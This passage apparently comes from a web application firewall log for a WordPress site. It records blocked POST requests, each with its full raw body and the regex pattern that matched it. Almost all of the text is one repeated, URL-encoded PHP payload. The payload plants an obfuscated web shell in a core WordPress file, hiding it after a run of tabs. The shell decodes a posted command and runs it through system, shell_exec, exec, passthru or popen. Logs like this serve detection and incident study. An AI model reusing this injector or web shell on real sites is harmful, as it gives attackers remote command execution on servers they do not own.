pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:39:29","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5316\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nUZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:40:21","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:5339\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:40:46","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> um:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-recovery-mode-key-service.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524reverse_lookup6%2520%253D%2520%2522%255Cx73tr%255Cx65%255Cx61%255Cx6D%255Cx5Fg%255Cx65t_%255Cx63o%255Cx6Etent%255Cx73%2522%253B%2520%2524reverse_lookup2%2520%253D%2520%2522s%255Cx68ell_e%255Cx78ec%2522%253B%2520%2524reverse_lookup3%2520%253D%2520%2522exec%2522%253B%2520%2524reverse_lookup1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524reverse_lookup5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524reverse_lookup7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524reverse_lookup4%2520%253D%2520%2522%255Cx70%255Cx61s%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%2529%2520%257B%2520function%2520token_parser_engine%2520%2528%2520%2524resource%2520%252C%2520%2524ent%2520%2529%257B%2520%2524symbol%2520%253D%2520%2527%2527%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524resource%2529%2529%257B%2520%2524symbol.%253Dchr%2528ord%2528%2524resource%255B%2524d%255D%2529%255E%2524ent%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524symbol%253B%2520%257D%2520%2524marker%2520%253D%2520%2524approve_request%2528%2524_POST%255B%2522ma%255Cx72k%255Cx65r%2522%255D%2529%253B%2520%2524marker%2520%253D%2520token_parser_engine%2528%2524marker%252C%252026%2529%253B%2520if%2520%2528function_exists%2528%2524reverse_lookup1%2529%2529%2520%257B%2520%2524reverse_lookup1%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup2%2529%2529%2520%257B%2520print%2520%2524reverse_lookup2%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup3%2529%2529%2520%257B%2520%2524reverse_lookup3%2528%2524marker%252C%2520%2524dat_resource%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524dat_resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup4%2529%2529%2520%257B%2520%2524reverse_lookup4%2528%2524marker%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524reverse_lookup5%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup6%2529%2520%2526%2526%2520function_exists%2528%2524reverse_lookup7%2529%2529%2520%257B%2520%2524ent_symbol%2520%253D%2520%2524reverse_lookup5%2528%2524marker%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524ent_symbol%2529%2520%257B%2520%2524itm_flg%2520%253D%2520%2524reverse_lookup6%2528%2524ent_symbol%2529%253B%2520%2524reverse_lookup7%2528%2524ent_symbol%2529%253B%2520print%2520%2524itm_flg%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%